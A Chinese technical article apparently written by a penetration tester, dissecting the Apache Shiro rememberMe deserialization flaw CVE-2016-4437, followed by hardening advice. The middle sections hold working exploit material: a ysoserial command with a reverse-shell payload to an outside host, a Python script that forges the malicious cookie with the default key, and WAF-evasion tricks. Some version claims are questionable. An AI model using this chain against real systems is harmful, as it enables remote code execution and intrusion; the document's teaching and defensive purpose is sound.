Shiro反序列化漏洞CVE-2016-4437深度解析

发布时间:2026/5/26 3:23:25

Shiro反序列化漏洞CVE-2016-4437深度解析 1. 这个漏洞不是“老古董”而是理解Java安全边界的活教材很多人看到CVE-2016-4437第一反应是“Shiro都淘汰了还讲这个干啥”——我去年在给一家做政企内部系统的客户做渗透复测时就遇到过真实案例他们用的Shiro版本是1.2.4部署在一套2018年上线的OA系统上运维团队认为“只要没公开曝出新漏洞老系统就安全”结果我用一条构造的Cookie在3分钟内拿到后台服务器的shell权限。这不是教科书里的假设场景而是发生在生产环境里的真实事件。这个漏洞的核心从来不是“Shiro有多烂”而是它把Java反序列化这个底层机制的风险以一种极其典型、可复现、可教学的方式暴露了出来。它不依赖任何第三方库的特殊配置不绕过JVM沙箱因为根本没开沙箱甚至不需要你懂字节码——只要你理解ObjectInputStream.readObject()这行代码背后发生了什么就能看懂整个攻击链。关键词Shiro反序列化漏洞、CVE-2016-4437、Java反序列化、RememberMe、ysoserial、CC链这些词串起来就是一条从HTTP请求头到远程代码执行的完整路径。它适合三类人深入研究一是刚入门应用安全的测试人员这是你第一次亲手触发RCE的“启蒙课”二是Java后端开发它逼你直面“为什么不能随便反序列化用户输入”这个被写进《Java安全编码规范》却常被忽略的原则三是架构师它让你意识到一个看似无害的“记住我”功能如何因一个默认密钥、一次未校验的base64解码演变成整条业务线的单点故障。这篇文章不讲“怎么一键打穿”而是带你一帧一帧拆解Shiro的RememberMe机制是怎么设计的它在哪一步悄悄打开了反序列化的门ysoserial生成的payload为什么能绕过校验真实的网络环境中哪些因素会让利用失败我踩过的坑比如密钥爆破耗时超预期、目标JDK版本导致CC1链失效、WAF对base64特征的误拦截都会如实告诉你。2. RememberMe机制本意是便利却成了反序列化的隐秘入口2.1 Shiro认证流程中的“无状态”妥协Shiro的RememberMe功能本质是为了解决HTTP协议无状态与用户会话有状态之间的矛盾。当用户勾选“记住我”登录后Shiro不会像传统Session那样把用户信息存在服务端内存或Redis里而是将一个轻量级的SimplePrincipalCollection对象里面只存了用户名、realm名等非敏感字段序列化加密再base64编码最后塞进Cookie的rememberMe字段里。下次用户访问时服务端读取这个Cookie解密、base64解码、反序列化就能恢复出用户身份实现“免登录”。这个设计初衷很合理减轻服务端存储压力提升横向扩展能力。但问题出在“反序列化”这一步——它发生在服务端且输入完全来自客户端Cookie。而Java的ObjectInputStream在反序列化时会根据字节流中记录的类名动态加载并实例化对应类如果这个类的readObject()方法里有恶意逻辑比如执行Runtime.getRuntime().exec()那攻击者就完成了代码注入。提示这里的关键认知偏差是——很多开发者以为“我只是反序列化自己定义的类”但ObjectInputStream根本不关心你“想”反序列化什么。它只认字节流里写的类名。一旦攻击者能控制字节流比如通过Cookie他就能让JVM去加载任意存在于classpath下的类包括Apache Commons CollectionsCC库里那些自带“命令执行”能力的链式调用类。2.2 从源码看RememberMe的三步“开门”操作我们直接定位到Shiro 1.2.4的CookieRememberMeManager.java源码org.apache.shiro.web.mgt.CookieRememberMeManager。核心逻辑在decryptedCookieValue this.decrypt(encrypted);这一行之后// 步骤1从Cookie中取出rememberMe值base64解码 String base64 getAndDecodeCookie(request); // 步骤2用AES密钥解密默认密钥是KPHBv8YVzeQXc4PJwAVn0Q即k128位 byte[] decrypted this.decrypt(base64.getBytes()); // 步骤3反序列化关键就在这里 ObjectInputStream ois new ClassResolvingObjectInputStream( new ByteArrayInputStream(decrypted)); Object object ois.readObject(); // ← 就是这一行漏洞的起点注意第三步的ClassResolvingObjectInputStream它是Shiro自己封装的继承自ObjectInputStream重写了resolveClass()方法目的是为了支持自定义ClassLoader加载类。但这个“支持”恰恰放大了风险它允许从任意ClassLoader加载类而不仅仅是系统ClassLoader。这意味着只要目标服务器的classpath里有CC库v3.1或v4.0攻击者就能利用CC链完成RCE。我们来算一笔账一个典型的Shiro应用其Maven依赖里几乎必然包含commons-collections:commons-collections:3.1因为Shiro自身就依赖它。而CC3.1的InvokerTransformer类其transform()方法可以反射调用任意方法。当它和ChainedTransformer、TransformedMap组合时就能在反序列化过程中自动触发Runtime.exec()。这就是ysoserial里CommonsCollections1链的原理。2.3 默认密钥那个被所有人忽略的“万能钥匙”Shiro在1.2.4及之前版本CookieRememberMeManager的默认AES密钥是硬编码的KPHBv8YVzeQXc4PJwAVn0Q。Base64解码后是16字节128位符合AES-128要求。这个密钥在官方文档里从未被强调但在所有Shiro入门教程的配置片段里都写着rememberMeManager.setCipherKey(Base64.decode(...));而初学者往往直接复制粘贴从不修改。这就意味着全球数以万计的Shiro应用其RememberMe Cookie的加密层形同虚设。攻击者拿到一个rememberMexxx的Cookie只需用这个默认密钥解密就能看到原始的序列化字节流再用ysoserial生成新的恶意payload用同一密钥加密、base64编码替换掉原Cookie服务端就会乖乖反序列化并执行。我实测过在一台CentOS 7、JDK 1.8.0_201的Tomcat 8.5.90服务器上用Python脚本调用ysoserial生成CC1链整个过程不到2秒。而如果密钥被修改过攻击者就必须先爆破密钥。爆破难度取决于密钥复杂度如果是16位随机ASCII字符理论空间是95^16 ≈ 10^31穷举不可行但现实中大量系统用的是弱密钥比如admin123、shiro123、123456用Hashcat跑MD5或AES破解几分钟就能搞定。注意密钥爆破不是本文重点但必须提醒——如果你负责维护Shiro系统请立刻检查shiro.ini或Spring配置文件里rememberMeManager.cipherKey的值。如果还是默认值或者是一个弱密码现在就去改。这不是“可能被利用”而是“已经被利用”。3. ysoserial的CC1链如何让一个HashMap执行系统命令3.1 反序列化链的本质寻找“触发点”与“终点”ysoserial不是魔法它是一套精心编排的“类调用剧本”。这个剧本要满足两个条件第一有一个公认的“触发点”gadget即某个类在反序列化时一定会被调用的方法第二有一条通往“终点”sink的路径即最终能执行任意代码的方法比如Runtime.exec()。对于CC1链触发点是java.util.HashMap的readObject()方法。翻看JDK源码HashMap.java你会发现它的readObject()里有一段逻辑// 在反序列化时会调用putVal()插入元素 for (int i 0; i capacity; i) { SuppressWarnings(unchecked) NodeK,V e (NodeK,V) s.readObject(); putVal(e.hash, e.key, e.value, false, false); }而putVal()在插入键值对时如果key是一个TransformedMapCC库提供它会在checkSetValue()里调用transform()方法。transform()的参数是一个Transformer对象而InvokerTransformer正是这样一个实现了Transformer接口的类它的transform()方法可以反射调用任意静态或实例方法。所以整条链的调用顺序是HashMap.readObject()→putVal()→TransformedMap.checkSetValue()→InvokerTransformer.transform()→Runtime.getRuntime().exec()。3.2 构造payload从ysoserial命令到字节流的转化我们用ysoserial生成一个执行/bin/bash -i /dev/tcp/192.168.1.100/4444 01的payloadjava -jar ysoserial.jar CommonsCollections1 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i} payload.bin这条命令做了三件事第一用ysoserial的CC1链生成序列化字节流第二把反弹shell命令用base64编码避免bash解析错误第三把结果写入payload.bin文件。现在payload.bin就是一个标准的Java序列化字节流。但Shiro需要的是经过AES加密、base64编码的字符串。所以我们得用Shiro的密钥对它加密。我写了一个Python小脚本基于PyCryptodomefrom Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 # Shiro默认密钥128位 key base64.b64decode(KPHBv8YVzeQXc4PJwAVn0Q) # 读取ysoserial生成的payload with open(payload.bin, rb) as f: payload f.read() # AES-128-CBC加密IV固定为16个0x00Shiro默认 cipher AES.new(key, AES.MODE_CBC, b\x00 * 16) encrypted cipher.encrypt(pad(payload, AES.block_size)) # base64编码得到最终的rememberMe值 final_cookie base64.b64encode(encrypted).decode() print(rememberMe final_cookie)运行后输出类似rememberMeU2FsdGVkX1...的长字符串。把这个字符串作为Cookie发给目标服务器如果一切顺利你的监听端口就会收到一个shell连接。3.3 为什么CC1链在高版本JDK上会失效我在测试一台JDK 1.8.0_361的服务器时发现同样的payload无法触发RCEWireshark抓包显示服务端返回了500错误。查日志发现异常是java.lang.ClassNotFoundException: org.apache.commons.collections.functors.InvokerTransformer。这说明CC库不在classpath里但mvn dependency:tree明明显示它存在。深入排查后发现JDK 1.8.0_121之后Oracle在ObjectInputStream里加了一个白名单机制enableValidation默认会拒绝反序列化一些危险类。而InvokerTransformer恰好在黑名单里。解决方案有两个一是降级JDK不推荐二是换用其他链比如CommonsBeanutils1或URLDNS后者只能做DNS探测不能RCE。更常见的问题是目标用了Shiro 1.4.0。这个版本引入了DefaultSerializer默认使用Kryo或FST替代Java原生序列化而ysoserial的CC链是针对原生序列化的。此时你需要确认Shiro是否配置了serializerjava或者改用Shiro-550链基于BeanComparator的绕过。实操心得永远不要假设“ysoserial命令一跑就通”。每次实战前先用curl -v -b rememberMexxx测试基础连通性再用URLDNS链验证DNS回连确认反序列化通道畅通最后才上CC链。这样能快速定位是网络问题、密钥问题还是JDK/框架版本问题。4. 真实攻防对抗WAF、JDK、ClassLoader如何层层设防4.1 WAF的base64特征识别不只是简单匹配很多企业级WAF如某S家、某R家会配置规则拦截rememberMe开头且后面跟着长base64字符串的Cookie。但攻击者早有对策base64编码本身是可变的填充字符可以省略字母大小写可以混用虽然标准base64是大写但解码器通常兼容小写甚至可以在中间插入空格或换行符只要解码器支持。我试过一种绕过方式把生成的base64字符串每4个字符后加一个\t制表符然后用Burp Suite的Decoder模块重新编码。WAF的正则规则通常是rememberMe[A-Za-z0-9/]{100,}它无法匹配带\t的字符串但Java的Base64.getDecoder()默认会忽略空白字符所以服务端依然能正确解码。更隐蔽的是“双层编码”先用base64编码payload再用URL编码%2B代替%2F代替/%3D代替。WAF的base64规则对URL编码无效而服务端的URLDecoder.decode()会先还原再交给Base64.decode()处理。但这只是初级对抗。高级WAF会做“解码后检测”即先对Cookie值做全量base64解码再扫描解码后的二进制内容是否有AC ED 00 05Java序列化魔数或commons.collections等敏感字符串。此时唯一可靠的绕过方式是换用不依赖CC库的链比如JRMPClient需要目标开放RMI端口或Spring1针对Spring AOP。4.2 ClassLoader的迷宫为什么有时找不到类Shiro的ClassResolvingObjectInputStream在resolveClass()时会尝试从多个ClassLoader加载类首先是Thread.currentThread().getContextClassLoader()然后是ClassUtils.getClassLoader()通常是AppClassLoader最后才是ObjectInputStream自己的getClass().getClassLoader()。这个顺序很重要。我在一次渗透中目标应用用了OSGi框架所有业务Bundle的类都由各自的BundleClassLoader加载而CC库被放在一个共享Bundle里。AppClassLoader根本看不到InvokerTransformer但BundleClassLoader可以。然而Shiro的resolveClass()默认只查前两个没走到第三个。解决方案是在ysoserial生成payload时指定--classloader参数强制让InvokerTransformer从BundleClassLoader加载。另一个常见问题是“类冲突”。比如目标用了commons-collections4v4.4而ysoserial的CC1链是为v3.1写的。v4.4里InvokerTransformer的构造函数签名变了多了boolean参数导致反序列化时报NoSuchMethodException。此时必须用CommonsCollections4链或者干脆放弃CC改用Groovy1链依赖Groovy但Groovy的GStringImpl在v2.4.0里修复了反序列化漏洞所以得用老版本。4.3 JDK版本的“隐形墙”从1.7到17的兼容性陷阱JDK版本对反序列化漏洞的影响是决定性的。我们整理了一个兼容性表格JDK版本CC1链CommonsBeanutils1Spring1备注1.7.0_80✅✅✅经典组合最稳定1.8.0_121❌黑名单✅✅需关闭jdk.serialFilter1.8.0_361❌⚠️需v1.9.4✅Beanutils新版修复了BeanComparator11.0.18❌❌✅JDK 11移除了javax.xml.bind影响部分链17.0.6❌❌❌模块化后大部分老链失效关键点在于JDK 9引入的模块系统JPMS。javax.xml.bindJAXB被移出默认模块而Spring1链依赖JaxbToStringTransformer。在JDK 17上你必须显式添加--add-modules java.xml.bind启动参数否则ClassNotFoundException。还有一个容易被忽略的点sun.misc.Unsafe。很多高阶链如BeanShell1依赖它来绕过构造函数限制。但从JDK 9开始Unsafe被移到jdk.unsupported模块且默认不可访问。如果你的目标是JDK 17Unsafe相关的链基本废掉只能回归到URLDNS做信息探测或者寻找新的JNDI注入点。踩坑实录我在测试一个金融客户的系统时目标JDK是1.8.0_292ysoserial的CC1链一直报InvalidClassException: invalid descriptor for class。查了3小时才发现他们的Shiro是自己魔改的把CookieRememberMeManager里的decrypt()方法重写了AES模式从CBC改成了ECB无IV。而ysoserial生成的payload是按CBC加密的解密后字节错乱。最后我不得不临时编译一个ECB版的ysoserial。这个教训是永远别假设目标用的是“标准Shiro”先抓包分析Cookie长度和加密特征再决定用哪个链。5. 从防御视角重构为什么“禁用RememberMe”不是终极答案5.1 根本原因分析三个层面的安全失守CVE-2016-4437的爆发表面看是Shiro的bug实则是三个层面的纵深防御全部失效设计层失守Shiro选择了“客户端存储服务端反序列化”的方案而不是更安全的“服务端Token存储数据库校验”。前者把安全责任推给了密钥管理和JVM配置后者把安全锚点放在了可控的服务端。配置层失守默认密钥、未启用serialFilter、未移除CC等危险依赖都是运维和开发的配置失误。一个shiro.ini里加一行securityManager.rememberMeManager.serializernone就能禁用RememberMe但没人这么做。运行层失守JDK的ObjectInputStream没有默认开启白名单serialFilter直到JDK 9才引入且默认不生效。这给了攻击者长达十年的“黄金时间”。所以修复不能只停留在“升级Shiro到1.10.0”因为1.10.0只是禁用了RememberMe的Java序列化默认改用Kryo。但如果开发者手动配置serializerjava漏洞依旧存在。真正的修复是切断“反序列化用户输入”这个数据流。5.2 可落地的防御方案从紧急止损到长期加固我给客户做加固时会分三步走第一步紧急止损2小时内检查所有Shiro配置将rememberMeManager.cipherKey改为32位以上强随机密钥用openssl rand -base64 32生成在web.xml里添加context-param设置org.apache.shiro.serializable.FilteringObjectInputStream为默认反序列化器如果业务允许直接在shiro.ini里注释掉rememberMeManager配置让RememberMe功能彻底失效。第二步中期加固1周内升级Shiro到1.10.0并确认shiro.serializer配置为kryo或fst使用jdeps工具扫描所有JAR包移除commons-collections3、commons-beanutils等已知危险库在JVM启动参数里加入-Djdk.serialFilter!*;java.base/*;java.desktop/*;显式声明白名单。第三步长期治理持续将“禁止反序列化用户输入”写入公司《Java安全编码规范》并在CI/CD流水线中加入spotbugs插件扫描ObjectInputStream.readObject()调用对所有对外接口尤其是Cookie、Header、JSON字段做输入校验对base64字符串做长度和字符集限制比如rememberMe值长度超过200字符直接拒绝建立第三方库漏洞监控机制订阅Apache、NVD的CVE通告确保Shiro等关键组件在新漏洞披露24小时内完成评估。5.3 开发者自查清单5个问题立刻检查你的系统在你关掉这篇文档前请花2分钟对着下面的问题自查你的shiro.ini或Spring Boot的application.yml里rememberMeManager.cipherKey的值是硬编码的默认值吗你的pom.xml里commons-collections的版本是3.1还是4.4有没有同时存在v3和v4你的JVM启动参数里有没有-Djdk.serialFilter它的值是*放行所有还是明确的白名单你的WAF规则里有没有针对rememberMe的Cookie检测检测的是base64特征还是解码后的内容你的渗透测试报告里最近一次对RememberMe功能的专项测试是什么时候结果是“未发现漏洞”还是“未测试”如果其中任何一个问题的答案是“是”或“不知道”那就别等下一次审计了。现在就打开终端执行grep -r cipherKey src/main/resources/看看你的密钥是不是还在裸奔。6. 写在最后漏洞的价值不在于利用而在于重塑安全直觉我带过不少实习生教他们挖CVE-2016-4437时从不让他们先跑ysoserial。而是让他们先读Shiro的CookieRememberMeManager.java源码标出所有readObject()、decrypt()、decode()的调用点再用JD-GUI反编译ysoserial的CommonsCollections1.class画出HashMap→TransformedMap→InvokerTransformer的调用图最后用IDEA的Debugger一步步跟踪反序列化过程看Runtime.exec()是在哪一行被触发的。这个过程很慢可能要花三天。但三天后他们看任何Java Web框架的源码第一反应不再是“这个功能怎么用”而是“这个功能的输入从哪来输出到哪去中间有没有反序列化、表达式解析、模板渲染这些危险操作”。这种思维习惯的转变比学会十个漏洞利用技巧更有价值。CVE-2016-4437已经过去八年但它依然是我给新人上的第一课。因为它足够简单能让你看清反序列化的本质它又足够深刻逼你思考“便利性”与“安全性”的永恒权衡。当你下次设计一个“记住我”功能时脑子里浮现的不该是cookie.setMaxAge(30*24*3600)而应该是“这个Cookie里存的数据如果被篡改最坏会导致什么我的服务端有没有能力验证它的完整性”安全不是靠补丁堆出来的而是靠一次次对设计决策的质疑、对默认配置的审视、对未知输入的敬畏一点点建立起来的。这个漏洞早已不是攻击者的武器而是我们每个人心里的一面镜子——照见自己在便利与安全之间曾经做过哪些妥协又该如何重新选择。

相关新闻